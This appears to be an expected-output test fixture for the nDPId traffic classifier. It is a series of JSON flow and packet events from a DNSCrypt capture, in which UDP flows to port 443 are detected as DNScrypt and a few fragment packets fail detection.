+00666{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":399567,"pkt_caplen":226,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":226,"pkt_l4_len":192,"pkt":"ZmZmZmZmRERERERECABFAADUET5AADQRUHBo7rrACgAAAQG76PkAwCm6ZFeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAF2CGRuc2NyeXB0AnVrAAAQAAHADAAQAAEAAHCAAH18RE5TQwACAAAhKdWfhZK3D+gyCT1iixW\/FSRGoXDftkwga2BkZlttUlKSV94EyK2+BzaupeI4vEl+rXXsyVAmoCDcu2+5DAsD7Asxq95SKQwdQwh70VVdkKEIfYOFTawzG9XuIku9iynsCzGr3lIpDAAAAAFfU3cYX1TImA=="} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":57,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":946739304599,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":32793,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":599728,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcZhNAAL0R0ewKAAAB0frxGYAZAbsCCIXq8VkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABAAAAAAAAAAAAAcsADAHHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":57,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":946739304599,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":32793,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":58,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":946739304599,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":56035,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":599740,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcZhQgAL0R7isKAAAB0frxGdrjAbsGBM5Z8VQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABAAAAAAAAAAAABccADAXDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":58,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":946739304599,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":56035,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":59,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":599754,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQZhQAub0REv8KAAAB0frxGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":59,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":60,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":946739304599,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":37123,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":599762,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcZhUgAL0R7ioKAAAB0frxGZEDAbsGBBg48VYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABAAAAAAAAAAAABccADAXDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":60,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":946739304599,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":37123,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":61,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":599775,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQZhUAub0REv4KAAAB0frxGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":61,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":62,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":946739304599,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":37950,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":599857,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcZhZAAL0R0ekKAAAB0frxGZQ+AbsCCIXq8VUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABAAAAAAAAAAAAAcsADAHHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":62,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":946739304599,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":37950,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":63,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":946739304599,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":34324,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":63,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":599866,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcZhdAAL0R0egKAAAB0frxGYYUAbsCCIXq8VcBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABAAAAAAAAAAAAAcsADAHHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":63,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":946739304599,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":34324,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":64,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":946739304599,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":59367,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":30,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":64,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":599889,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcZhggAL0R7icKAAAB0frxGefnAbsGBMFR8VgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABAAAAAAAAAAAABccADAXDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":64,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":1,"flow_first_seen":946739304599,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"209.250.241.25","src_port":59367,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":65,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":599904,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQZhgAub0REvsKAAAB0frxGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":65,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} 